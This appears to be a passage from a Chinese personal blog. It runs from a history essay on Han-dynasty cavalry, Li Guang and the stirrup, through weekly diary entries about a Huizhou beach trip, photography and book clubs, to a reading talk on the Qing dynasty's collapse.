但你要对阵匈奴可就没那么简单了，人家利则进，不利则退，等你集结起兵马，人家早就跑的没影了。所以先秦到西汉初年，基本都是依赖两种方式。其一是长城，通过长城来告警，来迟缓敌人进攻的时间，其二是和亲，你都是我姑爷了，那就不用打了吧

但这都不够，于是经过多年的韬光养晦，刘彻这个最能做的皇帝就出来了，这里的作，既有褒义，也有贬义

李广难封的悲哀也不知道司马迁是不是故意的，在《史记李将军列传》中，司马迁这么写：

感觉司马迁就是在塑造一个小说形象一样，还在最开始埋下了伏笔，后来一语成谶，李将军终生未能封侯

而文帝曰：“惜乎，子不遇时！如令子当高帝时，万户侯岂足道哉！”

李广的出名的原因就在于他是骑射高手，同时他的悲哀也在于它是一名骑射高手。他就像一个传统的手艺人一样，在机械化、工业化都已经大行其道的当下，还在坚持传统的工匠精神（我不知道我这么类比对不对啊），但我觉得司马迁可能想表达出这个意思

在那个时代，卫青、霍去病已经探索出了冲击骑兵的技战术，可李广还是坚持着老一套，我们可以说他是固执，但这是他最引以为傲的本领，这是连他的敌人匈奴人也都认可的

因此李广出征匈奴，他肯定会被重点关照，匈奴人常常以数倍的兵力围攻他，让他一次又一次全军覆没

单于素闻广贤，令曰：“得李广必生致之。”

“少年十五二十时，步行夺得胡马骑”，其实就是讲的李广在一次全军覆没后，他被俘虏了，但是李广太有名了，匈奴人就像动漫里经常出现的反派一样，一定要抓活的...

于是李广在被匈奴人俘虏抓获的时候，通过装死，骗过匈奴人的注意力，一个跃起，就夺走了匈奴人的一匹马，然后飞马逃回营地，并且挽弓射杀了好几个想要追上来的匈奴人

不得不说李广的骑射技术是真的精湛，但打仗从来都不是靠一个人就能行的，

所以这也是李广的悲哀，生不逢时，他要是出生在楚汉相争的时候，估计又是一个霸王项羽

你怎么看待李广，如果你是汉武帝，你会愿意重用李广吗？

三国两晋：马镫与汉化

先来看马镫卫青霍去病时代，中原政权终于探索出了突骑战法，将步兵的正面冲锋战术移植到了骑兵所谓冲击骑兵，本质就是一人一匹马，加一根长枪，用腋下夹着，然后用手握紧，对阵敌阵冲锋这里就有很明显的问题： 1.如何保持自身稳定 2.武器如何拔不出来怎么办

在卫青霍去病那个时代，没有马镫其实可行的，为什么呢？因为战争的对象是匈奴人，匈奴人是会跑的，所以汉军只要疯狂向前冲就行了，草原民族的天生基因就是一个个松散的个体在战斗，又怎么可能是全速冲刺的骑兵的对手这样一来马镫是否需要也无所谓了，只要能冲上去，汉军个个都是杀神，原先匈奴引以为傲的战法，在汉军一轮轮的冲锋下，简直是进入到了死神的领域中

但是历史是演变的，东汉末年开始，骑兵的作战对象不再是只会跑的匈奴人，而是开始直面步兵

比如如下这个，看你作为骑兵你敢不敢冲锋，冲进去就是找死(这场景下只要长矛阵将前几排的人死命把前排的马戳死，后排上来的骑兵不是被绊倒就是要减速。)

https://www.bilibili.com/video/BV1gx411B7oX/?spm_id_from=333.337.search-card.all.click&vd_source=15a2dc392ee5cfd2402320bee219d8e3

骑兵是可以冲击步兵，但不是正面啊喂，是侧翼但尽管是侧翼，现在你冲锋的对象已经是一个静止的物体了，速度为0，即便你冲锋进去了，你也要承受冲击带来的反作用力

为了对抗此类反作用力，最早的思路就是加高马鞍但是吧，马鞍变高后，虽然被后坐力顶下去的可能性降低了，但骑兵上马又成了问题。

骑兵上马一直都是一个技术活，老将军廉颇甚至拿来炫技

廉颇为之一饭斗米，肉十斤，被甲上马，以示尚可用

当然还有一个原因，此时来自中国南方的将领们开始走上前线，著名的就是孙坚孙策孙权南方人可能没有北方人那么高大，比如我是吧（不是地域黑），

坊间也流传着这样的笑话，马镫最开始是为了帮助孙权同志那种小短腿骑上马的

自然而然的，辅助上马的马镫开始出现，最早是作为单马镫，我们从考古推测出此时的马镫只是作为辅助骑手上马使用的，骑上之后就不用马镫了

但是，当骑手在实行突击战法的时候，一旦发现一只脚踩住单马镫能够更稳的坐在马背上获得一部分支撑力的时候，双马镫的发明，就不远了！

再来讲汉化

前面我们说了，匈奴就算统一了，其内部的中央集权也远远比不上中原民族，单于首领是无法强制他们的部下冲锋的，但是我们汉民族就不一样了

我最喜欢的一个up主，渤海小吏写过一段话，我还挺喜欢的，他说跟匈奴比骑射，我们永远也比不上，

但是，跟你比纪律，比团结一致向前看，比总能量的集中调度，你们比我们差了上千年！我们是治水杠黄河的民族！我们是基建狂魔造长城的民族！我们是打过上百万规模战争的民族！我们是所有适龄男子在一声令下驰援长平战场包饺子的民族！在这片土地，这个民族所最令人害怕的战争力量从来不是个体的天赋异禀！而是成百上千人旗帜鲜明整齐划一所聚拢迸发出的恐怖力量

这段话，很清楚地讲明白了中央集权能够在这片土地上存在，是有其必然性的

其实隐藏在南北战争的背后，还有一条草蛇灰线，那就是汉化，少数民族想要入主中原，谁汉化的足够彻底，足够明白了，学会编户齐民了，你得血才能源源不断地抽上来，你必须汉化军制把纪律这事搞定了，才谈得上顶级战斗力

两晋之后的五胡乱华，匈奴、鲜卑、羯、氐、羌，这五个少数民族，正式凭借着不断熟悉冲击骑兵战术，以及自身政权组织的不断汉化，才能入主中原

南北朝：大规模的骑兵对战南北朝时期，北方冲击骑兵的技战术已然成行，由于南北朝的历史太过庞大复杂，无法展开，我们就以几场战役，来看看南北方是如何作战的吧

如果想要详细了解南北朝的历史，可以先看B站up 安州牧的《一口气看完170年的乱世南北朝》

经典的南北战役还是要先来复习一下中国的九宫格地图：

金戈铁马，气吞万里如虎公元409年，即将取代东晋王朝建立刘宋的刘裕大将军上表请求北伐北伐的目标是此时由慕容德在山东半岛建立的南燕政权刘裕的行军路线如下图：先走水路到达下邳，按照以往北伐的经验，刘裕应该从下邳继续走水路 ●一条自下邳北上，走沂水进入山东；（下图最右黑线） ●一条自泗水走汶水随后插入鲁郡走泰山路线插入山东。（下图中间黑线） ●一条自泗水走桓公渎然后进入济水随后从北面插进山东。（下图最左黑线）

但你能想到的，敌人也能想到，南燕早就设置好了防线等着你来，况且看上去最短的沂水，实际上因为很久没有走过了，还需要疏浚河道，如果往北又拖太久了。此时的政治背景下，刘裕必须要速战速决

因此刘裕从下邳后放弃水路，步行至琅琊，再到东莞，最后直接插入大舰山为什么要走山路？因为山地陡峭林木茂密不适合燕军的骑兵冲击，而且出了大舰山后离南燕的首都广固就很近了，说不定可以一战灭国（事实上也正是这样的）

但实际上这是很冒险的行为，因为你必须要祈求大舰山的出口没有被敌人封锁，而且你出山之后敌人没有坚壁清野，你得有粮草补给（从大舰山运粮肯定是噩梦）

但历史有时候就是这样，时来天地皆同力，说的就是刘裕这种情况

因为南燕啥都没做，就眼睁睁地看着刘裕从大舰山钻出来，当刘裕出来的时候，其实他就知道他赌对了，这场仗一定能打赢了

出山之后，南燕慕容超亲自率领步骑4w赶来，刘裕的手下也不知吃素的

军达临朐，与贼争水，龙符单骑冲突，应手破散，即据水源，贼遂退走

后续刘裕摆出却月阵法，这个车阵就是类似于一个移动的加强盾牌方阵，车的吨位大，能够阻止骑兵冲击，然后步兵在车后面扎人，弓兵在车阵后面放箭。成功抵挡住了南燕骑兵的冲锋

元嘉草草，却赢得仓皇北顾

公元450年，刘义隆北伐示意图：从这张图上可以看到，此时南方的刘宋政权是很占优势的，九宫格里面，南方至少占据了6个格北伐的问题？战线拉的太长了，各支军队协同难以保证，而且你要意识到一个点，地球是一个球体，南方是在低纬度，相同的维度距离更长，这就像石头剪刀布一样，南方先出了个布结果呢，东边进军的王玄谟在滑台一战失利，宋军精锐尽丧，北魏一路反推至建康城下，但终究由于北方军队推进过快，沿途路上还有多座城池并未攻克，拓跋焘也不敢真正渡江，随机班师

几个问题讨论 1.卫青为什么能改良骑兵作战技术个人：卫青本身就是青年将领，敢于革新技术敌人：匈奴作战的特性就是利则进，不利则退，所以面对一群冲上来的人，本能的反应就是跑国家：文景之治后战马充足，拼消耗战拼的赢匈奴让对自己不利的条件，重新转化到适合自己的条件下来

2.马镫发明的必要性？本质是作战对象发生了变化

3.少数民族为什么要汉化，汉化的本质是什么？

4.《史记》充满了私货，你怎么看待司马迁这种写法？《史记》充满了私货，但人活一辈子，连点私货都没有，还活个什么劲呢？—你说官方的正史不应该有私货，对，但《史记》本来就是个人创作啊。是后人把它追认为正史之首的，是充满了私货的《史记》给正史这个序列增加了光荣，而不论是不是正史，都不会影响《史记》的价值

5.历史的宏大叙事和个体叙事，你更喜欢哪一个？

让我想起一句话，历史书翻过一页，背后就是无数个人的一生

历史有时候是成王败寇，是从结果去反推原因的。譬如我们都知道袁绍被曹操打败了，但我们不能就因此觉得袁绍很蠢，b站有个up叫渤海小吏，深入分析了官渡之战的每一个细节，用事实告诉我们，历史是有因果的，是有细节的

以前读过一本书叫《芥子》，芥子和须弥是相对的，都是佛教用语。须弥是无穷大，芥子就是无穷小的意思。所以，《芥子》这本书就是讲历史上的小人物，比如，曲有误，周郎顾。这本书不会去讲周郎，而是写那个弹琴的侍女，写她的生活，写她的情感，写她弹琴时那一点调皮的心理活动。这也我所喜欢的历史故事

我也读《明朝那些事》，我觉得明朝那些事写的最好的两个人，也是最好哭的两个故事，一个是李时珍，一个是徐霞客

“无论徐阶是否斗倒了严嵩，无论张居正是不是一个杰出的改革家，都不关李时珍的事，他只是一个医生。他知道，生命很珍贵，也很柔弱，作为一个医生，有责任和义务去维护生命的存在。”

“我只是个平民，没有受命，只是穿着布衣，拿着拐杖，穿着草鞋，凭借自己，游历天下，故虽死，无憾。”

5 . 徐霞客的原话是，吾荷一锸来，何处不可埋吾骨耶？就是说我扛着我的锄头遍历天下，哪一处地方不可以埋葬我呢。这是我语文老师教我们的，我能感受到她对于徐霞客的喜爱，刚好当年明月，也把他放在结尾，用这样一个故事，收束了长达两百多年的明朝。这也是作者想表达的：成功就是，用我们自己的方式，度过一生

周报30 ENFJ人格、双月湾拾遗与阅读笔记

Sat, 03 Aug 2024 00:00:00 GMT

周报30 ENFJ人格、双月湾拾遗与阅读笔记

终日昏昏醉梦间，忽闻春尽强登山。因过竹院逢僧话，偷得浮生半日闲。 —— 李涉《题鹤林寺僧舍》

好久没有过这么平静的下午了，能够继续翻看没有看完的《香料之路》，继续switch游戏里的冒险，继续坐在电脑桌前倾听手指敲击茶轴的声响，感受键盘回弹的清脆。

实在是太忙了，但是我竟然不知道在忙什么，是忙着规划日程？忙着在微信群和一群明知没有任何关系的人，争论着一些明知无关紧要的话题，卖弄着一些明知谁也不在乎的故作高深？

恐怕如此吧，我已经有些厌倦了，若说年轻有什么缺点，那就是太过于和别人比较，过于执着说服他人，尤其是喜欢读书的人恐怕更是如此

我更喜欢跟随作者约翰·凯伊的脚步，探索《香料之路》中敢于舍身冒险的船长脚步，拨开弥漫在大海上的迷雾，我更喜欢跟着斑鸠、黄老板、霉霉的歌声不停抖腿，跺jiojio，感受到纯粹韵律带给我的美好

幸好我意识到了，开始及早脱身出来，享受属于自己的一方小小天地。此间虽如果壳般渺小，却亦足以安居。

（其实还是欠的东西实在是太多了，于是打算继续接着写几篇，后续也会保持一定的更新频率的）

ENFJ人格

现在确实是越来越流行mbti人格了，所第一次知道这个测试开始，我前后在不同时段做过三次，每次的结果都是ENFJ-A，也就是俗称的“大剑”，而且据说该种人格特征的人非常少，虽然从概率角度上，要四个字母都完全相同本身就比较低，但至少从我身边的样本来看，我所认识的同为ENFJ-A人格的人在5个以下。

前几日跟小狐狸（她也是ENFJ-A）讨论起来，ENFJ的显著特征如下图。几乎其中的每条特征都能精准命中我俩。随便举几条：

比较难维持佛系和摸鱼的状态，虽说大部分人如此，但我是真的觉得自己很难完全去放松下来，那种gap个一两年出去旅游在我看来都是天方夜谭（
认为众生平等，非常反感“人上人”之说。也可能大部分人如此，但我是真的有看到过，都4202年了，依然觉得国外的月亮更圆的人，在微信群里大吵了一番
看起来高冷不太好接近，我上学的时候就一直被吐槽很高冷，但其实熟悉我的人都知道，只要你问我问题我都会倾尽所有去解答，哪怕是暂时想不明白的，也一定会优先想清楚后再告诉对方，甚至有时候连上课都顾不上
兴趣广而不深，只能说别骂了别骂了以及种种种种，只能说太贴合了。。

6.22~6.23 惠州双月湾拾遗与入手索尼A7C2

惠州本身离深圳就不算远，去程不堵车的话也就两个半小时。巽寮湾，小径湾，双月湾算是惠州最有名的三个景点了，自动来深圳上班之后，团建的扫尾路线多半都是去这几个地方，巽寮湾甚至去过了两次！

一次是中心组织的团建，现在提起来都是满口的怨言，大下午火辣辣的太阳下，我们居然在天台上搞你画我猜等一些老掉牙的团建活动🤣。

另一次则是小组内组织的团建，leader心血来潮要带我们自驾去度假一天，详情参见周报21 惠州、新域名与阅读分享，也是临时组织起来，差点打乱我原本的计划安排。

曾经某次刷短视频的时候看到过一个吐槽，当你出去团建的时候同事浓度超过90%的时候，这就已经不再是团建而是上班了，我只能说确实如此（所以今年的团建甚至都不太想参与，毕竟也不一定有报销补贴）。但心里还是想着，什么时候能和自己认识的玩得好小伙伴们一起出去玩一次啊！

川哥果然组织起来了，于是毫不犹豫的报名了。原本这次去双月湾的初衷是为了拍日出日落，毕竟6月深圳真的难得天晴一次！于是，五人小队在短时间内很快就成团了，都是通过读书会认识的好朋友们，章鱼，王律，满格，川哥+我，终于能够满足和好朋友们一起出去玩的心愿了！

我曾总是喜欢以不同的视角去观察一个城市，喜欢用脚步去丈量一座城市的长度，感受其中的一花一叶。但却从来没想过真的要入手一个相机，但借着这次去惠州拍照玩耍的契机，在川鸽的强烈安利及详尽的参数对比下，周一当天就下单了索尼A7C2 + 腾龙28-200镜头，一瞬间就入坑了🤣。

惠州的行程倒是没有出现太多意外，但我竟真的没料到，6月22日当晚的晚霞竟会那么好看~！我们抵达民宿休息短时间后（当然我打开电脑开始加班了因为过两天就要给老板汇报），出门就遇上了大雨，等待雨过天晴之后，登上双月湾观景台，方才明白双月湾名字的来源（拍不好直接用小红书的图吧）

由于刚下过雨，所谓观景台能观的景并不是很美，还贼热。索性直接下山前往情人堤，此时天光稍暗，堤岸边散落着稀稀落落的人，落日竟仿佛如同刚睡醒一样，透过云层懒懒地散出几道光芒，搭配上远处雾霭朦胧下的重叠的山峦，站在沙滩上眺望，会疑心此时的时间是不是错乱了。

放上章鱼模特的原图直出照~！

沈复曾在浮生六记中记载：

"于是相挽登舟，返棹至万年桥下，阳乌犹未落山。舟窗尽落，清风徐来，纨扇罗衫，剖瓜解暑。少焉，霞映桥红，烟笼柳暗，银蟾欲上，渔火满江矣。"

重点是这句： 少焉，霞映桥红，烟笼柳暗

谁可曾想到，我们马上就见到了霞映桥红~！

多说无益，直接放图吧

这中间还发生了一个小插曲，让我这个不太相信玄学的人又一次觉得冥冥之中可能自由天数吧。

起因是当天逐渐暗下的时候，此时我们还没意识到即将到来的晚霞，于是一行人在沙滩上漫步准备去附近的饭馆大快朵颐。谁曾想此时晚霞突然出现，于是徘徊在沙滩上，奈何用手机拍照实在是不尽兴，于是章鱼拉上我快跑会停车的地方去拿相机此时到了车旁才意识到车窗居然没完全关上！！！章鱼的相机就在后座，若是有心人伸手即可顺走，那一瞬间我们感觉非常后怕，我开玩笑说可能冥冥之中真的有天意吧，这个晚霞拯救了你的相机

临近晚上9点，海边的烟花声不绝于耳，新手摄影师第一次拍烟花感觉实在是太难了，用川鸽的图吧：

烟花往往代表了一瞬间的美好，代表了终将逝去的繁花，每个人都有各自的解读，但如果是燃放一整晚的烟花恐怕就没那么幸运了🤣。当晚就我和满格睡得比较好，由于被子比较短，两个人半夜互扯被子，迷迷糊糊之中我脱口而出，恐怕这就是为什么需要”人类补完计划”吧（EVA乱入）

川鸽、章鱼和王律就没那么好运了，整晚的烟花+楼下ktv的声音让他们基本没睡着，当我五点多爬起来准备拍日出的时候，他俩已经拍了好久了，只可惜这次天公不作美，日出被层云遮挡住，无缘美景。

收拾启程后，章鱼带我们去吃了一家巨巨巨巨好吃的海鲜店，恐怕能记一辈子了（80岁之后要考的🐶）

返程途中还有一张绝美的照片：

返程回科兴后紧接着的是小狐狸《公主之死》的分享会，一群人等着我的电脑投屏呢（对就是我加班用的电脑，callback了），原谅我们路上堵车耽误了几分钟🤣

结束之后，木屋烧烤喝酒happy ending~！桃李春风一杯酒，江湖夜雨十年灯。（而我，还要回去继续肝汇报的材料）

肝完报告，真正的happy ending🤣

阅读——大清为何轰然倒塌

6月29日我主持了一次大概20分钟的草坪分享，文稿参见：

大清为何轰然倒塌——读书分享

但在分享会组织中也是一波三折，简而言之主要是野餐垫数量不够，下午刚下过雨导致天气过于闷热，未提前做好应急预案等等。

但好在小伙伴们也都非常理解（真的太难了）

这本书虽然标题有点噱头，但内容质量确实很棒，为此我还特地写了一篇短评发在微信读书里，现在过了有一个多月来看，竟然得到了很多人的点赞与认同。

这里也粘贴下我写的内容：

历史是有因果的，历史是不断演化的，历史也是充满机遇与巧合的。

晚清这段历史，不是所谓教科书上各种丧权辱国条约的签订，不是所谓几次变法，不是所谓「武昌起义一声枪响，标志着 xxxxx」可以一页翻过的，面对晚清这个可以称之为封建时代强大的「百足之虫」，面对三千年未有之大变局，面对新旧思想的激烈碰撞，这是中华民族的一次自我革命，这场革命，涉及到国家主权、人民、金融、政治等各个方面的重新认识，其改造程度无异于一次分娩时的阵痛，无异于一个病人的全身大换血，无异于这片土地上一个民族的自我涅槃。

提起令人沉痛的近代史，我们总会为那些条约，那些压迫而感到耻辱，但真正让人痛心的，是其中的人，自「我自横刀向天笑，去留肝胆两昆仑」谭嗣同血荐轩辕始，无数的人，无数思想觉醒的学子，无数为革命牺牲的战士，无数为了一个口号而往前冲锋的普通农民、小摊贩、甚至流氓痞子、市井无赖。他们或因个人品性、或因志向不一、或因无知懵懂，不一定受时人待见，但却都梦想着推倒这个旧世界，梦想着建立一个他/她们想要的中国

最后，以孙中山同志的这句话结尾吧：

「革命尚未成功，同志仍需努力」

一些值得分享的记录

欢迎join我的频道，https://t.me/RayeJourney

我就懒得去摘录出来了，写完好累啊hhh

大清为何轰然倒塌——读书分享

Sat, 03 Aug 2024 00:00:00 GMT

大清为何轰然倒塌——读书分享

大家好，我叫raye，应该没有人不认识我了吧，这次草地分享，给大家带来这本《大清为何轰然倒塌》

我还是第一次尝试这种草地形式的分享，时间也比较短，不知道能不能把我想要表达的讲清楚，不过我们还是开始吧

关于中国近代史，我想很多人应该都有一个基本的概念吧，1840年，南京条约签订，有没有谁记得条约内容呢？

我还记得比较清楚，主要就是赔款割地、开放通商口岸（广州福州厦门宁波上海）以及关税协定

中国近代史自此就开始了，而此时懵懂的大清王朝，还不知道，西方早就在1500年文艺复兴，进入了大航海时代，开启了近代史的篇章，我们这个古老的东方文明，已经落后于世界200多年了

那么大家知道，近代中国，“开眼看世界”的第一人是谁呢？没错，就是那位写下“苟利国家生死以，岂因祸福避趋之”的林则徐，这句诗的含义呢，就是说“如果对国家有利，我可以不顾生死。岂能因祸而逃避，见福就趋附呢”。背景则是写于林则徐虎门硝烟，抗击英军有功之后，却被朝中的投降派诬陷，发配新疆伊犁，林则徐在西安和妻子离别的时候，写下了这句诗

这也就导致了，除了知道他主持虎门硝烟之外，我们对于林则徐的了解甚少。李硕老师，也就是写下《翦商》这本书的作者，特地为林则徐写了一篇文章，记录了林则徐在新疆生活的点点滴滴，并将其在文学上的造诣，堪与苏东坡的流放生涯和诗文比肩。林则徐本是东南沿海的福建人，却被贬谪到了大西北，这让我想到了苏轼曾写到的一句词，“家在西南，常作东南别”，林则徐则是，“家在东南，常做西北别”。但他也实际践行了自己的诺言，足迹遍布天山南北，环塔里木绿洲诸城，留下了大量的诗文、日记，在他编写的《四洲志》中，还预言了沙俄将要对中国北方的侵略。

除林则徐外，晚清的汉族大臣们，曾国藩、左宗棠、张之洞、李鸿章，这晚清四大名臣，同样也是晚清四大权臣，各有各的功绩，曾国藩挽狂澜于即倒，打败了太平天国。左宗棠抬棺出征，先北后南，缓进急战，张之洞、李鸿章兴办洋务，这四大权臣，而且是汉人。钱穆先生曾在《中国历代政治得失》中全篇吐槽清朝，认为是一种建立在对汉人压迫之上，维护满族利益的制度。虽然钱老的言语上可能有不妥之处，但满汉势力的平衡则是一直在宣在清朝爱新觉罗氏头上的一把利剑。权力这个玩意，它天生就有排他性，尤其是皇权制度下，一旦你开了个口子，就再也难以收回来了。这也是这本书第一章所提到的，清朝倒塌的原因之一，汉臣势力的崛起

居庙堂之高，则忧其民，处江湖之远，则忧其君。聊完了庙堂，我们来看看江湖，但这所谓的江湖，其实和历朝历代的造反没什么两样。秦末有“大楚兴，陈胜王”，有“王侯将相宁有种乎”，汉末有“苍天已死，黄天当立”，元末有“石人一只眼，挑动黄河天下反”，熟悉的配方，熟悉的味道。如果不出意外的话，这群造反的人又将和庙堂上的权臣们来回拉扯，当然我们都知道，要么就是沦为他们功劳簿上的一笔笔战功，要么就是被后起之秀给摘了桃子。本质上，中国古代是没有革命，之有造反的。因为其本质上，都是“彼可取而代之”，“皇帝轮流坐，明天到我家”。

不过还是要介绍下这三大会党，洪门、青帮、哥老会，如果单说名字可能不知道，但如果说到他们的老大你们就会很清楚了，天地会(洪门)陈近南、青帮杜月笙、哥老会朱德。我们经常在影视剧里可以看到对，这些会党干的基本都是杀人越货的黑社会一类勾当，当然哥老会可能比较好一点。但我们不要忽视了，在孙中山屡次失败的起义中，就是他们在出力。你可以将他们看做唯利是图、我们所不齿的小人，是无法和庙堂权臣、孙中山这一类人堪比肩的，但假设我们生活在那个乱世之中，

既然已经提到了孙中山了，那我们就来讲讲最后一条线，也就是革命党人。这一次我们讲到的是一伙书生，用血肉之躯，打破了“重复重复再重复”的循环，开始第一次将“革命”这个概念给普及开来

为什么说“革命”这个词这么难理解呢？鲁迅写的特别好，他笔下的阿Q说看到革命党“白衣白甲，戴着崇祯皇帝的孝”，你看清朝都200多年了，居然还有人记得崇祯皇帝，认为这些革命党人，你们所谓口中天天的“革命”，还有鲁迅在《药》中所写到的， “他说：这大清的天下是我们大家的”，打破旧的思想枷锁，是一件很难的事情，鲁迅怕是深有体会书中有一句话说的很好： “社会主义”是给读书人听的，“打土豪分田地”才是留给未庄的阿Q们听的。“消费升级”是个玄学，“拼多多百亿补贴”才是句好口号

我在这本书的点评里写到，读近代史的时候，最痛心的不是签订了多少丧权辱国的条约，而是这其中的人，是写下「我自横刀向天笑，去留肝胆两昆仑」，为中国变法流血牺牲的第一人谭嗣同，是写下「天地方兴三字狱，但期吾道不终孤」，最后在浏阳门外被斩首，时年22岁的刘道一，是写下「秋风秋雨愁煞人」，巾帼不让须眉，在古轩亭口慷慨赴义的秋瑾

顺带一提，谭嗣同也是我老乡，浏阳现在还有一条路就叫嗣同路

《赵氏孤儿》中，公孙杵臼问程婴：“死和把孤儿养大相比，哪个难？”——“立孤与死孰难？

戊戌事败，谭嗣同对梁启超说：“程婴杵臼，吾与足下分任之。”之后从容就义。革命党人，早就将生死置之度外，只是“引刀成一快”固然不易，“同志仍需努力”只有更难。

立孤与死孰易？死易。革命与赴死孰难？革命难。

在革命事业最灰暗的时候，活下来的这些人是最不容易的，其中就有我们的孙中山同志，书中详细介绍了他在革命低谷期所做的种种努力，推荐大家直接去读原文，包括他为了筹措军饷、装备所遇到的各种困难

讲到这里呢，其实我们已经能大体知道，在晚清倒牌的过程中，汉臣、会党、革命党他们所扮演的角色，如果要按照狼人杀来做比方的话，汉臣就是女巫或者守卫，他们可能救错了人，也可能守卫错了人，会党则是平民，在革命党所扮演的预言家的感召下，一齐归票投掉了狼，最终获得了比赛的胜利

可能我的讲述不够严谨，有任何问题都可以跟我讨论，但主讲人一般会自动获得“我说的都对的”buff，哈哈哈哈，欢迎～

周报29 人有悲欢离合

Tue, 30 Jul 2024 00:00:00 GMT

周报29 人有悲欢离合

我似乎总是喜欢在一个人的旅途中写作的，就连这一段开头也是在晃荡的公交车上用手机写下的。

狂放不羁的刘伶曾说过，“行无辙迹，居无室庐，幕天席地，纵意所如”，以地为席，以天为盖，这得有多浩大的想象力，才会把天地都当做自己的陪衬。

所谓“躲进小楼成一统，管它春夏与秋冬”，于我而言总是觉得不太合时宜，反倒是在摇摇晃晃的地铁公交上、在人流熙熙攘攘的公园草地旁，才能激发出我最恣意的灵感，写下一些不足道哉的文字。

距离上一次提笔，已经过去了两个多月，这段停更期中，若非让我找一个理由出来，我只觉得时间不够，太多需要我去做的事情了，也可能是沉不下心来，将一些零零碎碎的flomo，整理出一篇长文。

过度的沉迷于文字于书写中，在我看来也并不太好，人是要有具体的生活的，出门、下楼，丢垃圾，看见花花草草，遇见三两好友，沐乎沂，风乎舞雩，咏而归，否则人是会坏掉的。

但飘荡久了，总要有一些根脚可以落下来，这也是让我觉得有一种紧迫感，是时候了，需要写一点文字来沉淀下生活，如果要我用一句话来概括最近这两个月发生的事情，那苏子的“人有悲欢离合”，怕是再贴切不过了。

是为本周报序（喂你这都不算周报了吧/doge）

离

那些聊天和对话都被封存在记忆中，也许在未来某个瞬间就会不经意想起，那些深入灵魂的碰撞以及鼓励和关怀，在我胡乱对这个世界进行猜想时总有领路者告诉我，“是的，你的猜想没错”。

—— 摘录自cloris的离职贴中我最喜欢的一句话

第一次认识cloris，是在一次烧脑的剧本杀，参见周报14 台风天，剧本杀与彩虹，许是一种巧合+缘分，那时我刚认识文杰不久，被他临时拉过去打《死者在幻夜中醒来》，当时还没意识到这个本有多么恐怖，直到体验了将近6、7个小时的烧脑推理之后，CPU已经宕机了，不过这是后话。

刚被拉进群就看到了和我头像一模一样，对都是《国王排名》的波吉王子，DM还在群里Q我们说分不清哈哈哈，当然这俩头像日后还将被朋友们调侃无数次，这也是后话不提。

同样喜欢追动漫，看书，参加读书会，一次偶然的契机，发现同样都喜欢玩独立游戏~！那次在食堂吃饭，我俩聊了好久的独立游戏，《cocoon》《杀戮尖塔》《grils》《巴别塔圣歌》《邪恶冥刻》《饥荒》《缺氧》。

我从来没有找到过一个同样这么喜欢独立游戏的人，一时引为知己。

除此之外，她身上的标签还有很多：

喜欢参加公益、喜欢探索未知、热爱数学、桌游、喜欢玩独立游戏、并梦想成为独立游戏制作人、喜欢阅读、喜欢探讨历史、思考未来、科技的发展。

这个世界很大，到处是未知之境，她好像那个捡贝壳的小女孩，会仔细挑选，收集想要的贝壳，观察其纹理，思考其形成，并梦想着有朝一日制作出一个完美无瑕的贝壳。

上周四看到她的离职帖，内心中多少有些遗憾，细数下来，虽认识不到一年，但却觉早已熟识。曾经多少次我也会想，如果那一天真的到来，我会怎么去书写我的离职帖呢，我想感谢好多的人，人从来都不是孤立的，是社会关系的总和。

而她也如此做了，看着那么多名字，其中有一些是共同的朋友，更多的还是她来到深圳后所结识的伙伴。人是要花很长世界才能学会感恩的，万事万物的颜色，朋友们的热情，无一不是豪华的天宠。

祝好~！

合

连续两个月，读书会基本做到了每个周末都有一次，好多公司内外的书友们积极报名分享，甚至一度让我觉节奏太快了，看书跟不上。

从北魏的兰陵长公主之死去探索古代女性的法律地位《公主之死》；

追随钱老的脚步，思考汉唐宋明清各朝代的政治制度得失《中国历代政治得失》；

7位朝圣者，一起前往海伯利安星球，讲述自己与伯劳的故事，解开背后的真相《海伯利安》；

从童年动漫神作EVA聊起，思考存在主义的本质，讨论人类是否应该补完《EVA与存在主义》；

还有诸如详细讲解游戏策划的工作《游戏造梦师》、哈佛公正课《正义》与《技术陷阱》；

虽然不是每期都去参加了，但是基本感兴趣有时间都会去，但随着参加的次数变多，我内心也逐渐有了一些困惑，报名分享的人多固然好，但有时候形式胜过了质量，单位时间的收益反倒降低了

曾经我是很喜欢读书会的氛围的，每次参加完之后，总给我一种宿醉感，这种感觉，并不是酒精等外物刺激带来的，那种外物的冲击属于有点难受，这是一种精神上的宿醉感。

它在我的脑海中不断回荡，让我仔细咂摸，品味，感受到和他人思想碰撞带来的灵感。

更重要的是，读书会更多的是反映一个人怎么去看书，怎么去讲书，如果纯粹是书中的内容堆砌，那换一个人来讲效果其实没什么两样。

上上周（也不记得具体是哪天了毕竟停太久了），参加了一场分享《尤利西斯》的读书分享会。本来我对于这本书的期待是挺高的，敢于分享意识流作品的人毕竟很少，这本书的作者又是可以和伍尔夫齐名的意识流派作家。

只是可惜，分享人似乎全然没有讲述自己读这本书的体验，而只是把这本书的相关内容介绍了一遍，让我多少有点大失所望。

事后与其沟通，他给出的理由居然冠冕堂皇，说“我读这这本书的体验是我非常私密的，我讲不出来，也不知道怎么讲”，那我还来听你讲个锤子tmd /doge。

也许并不是每一场读书会都值得参与，并不是每一本书都有其分享的价值，专注于自身的读书体验才是最好的。

欢

7月3日，入职三周年了，我写下了这段话

今天才意识到已经在我司待满了三年。

喜欢陈丹青说过的一句「你这个人，你以为你了解自己？」没有这些外物的提醒，你根本意识不到的，原来时间真的可以过这么快，前一秒仿佛还在做自我介绍，后一秒已经开始要准备汇报材料了。

如果算上实习的时间，我来到深圳已经四年了，20年4月刚结束在克拉玛依的行程，5月便独自一人南下深圳，至今还记得那天的太阳真tm热，以至于后来读到《长安的荔枝》中写到李德善第一次来到广州，「浑身冒汗，如蚂蚁附体一般」，简直不要太真实。

幸好这三年来，除去专注于本职工作之外，那些闲暇的独属于我的时光，总算是做了一点事情：上了三次乐问的头条，用心写的回答能帮助到很多人，希望今年能冲个千赞；坚持了一年的蓝信封活动，写了11封信，和远方的留守儿童互相倾诉，也收到了公益活动的纪念礼品；喜欢上了打羽毛球，打断了好多根65的线；去年重新开始写博客了，累积了50多篇文章；前年微信读书时长已经破1000，希望今年能破2000；认识了一大群喜欢读书的书友们，做过了三次读书分享，之后还想分享《理想国》；喜欢上了摄影，开始留心身边的一草一木；以及还有很多想做的事情……

最后，以我的博客签名做结吧，「且趁身闲未老，尽放我、些子疏狂」

悲

随着认识的朋友越来越多，不可避免的，虽然我认识的很多很多人，都非常友好，但总有那么几颗老鼠屎，玷污了生活这碗汤，每每这个时候，我就想到在《抬头看二十九次月亮》中的一段话

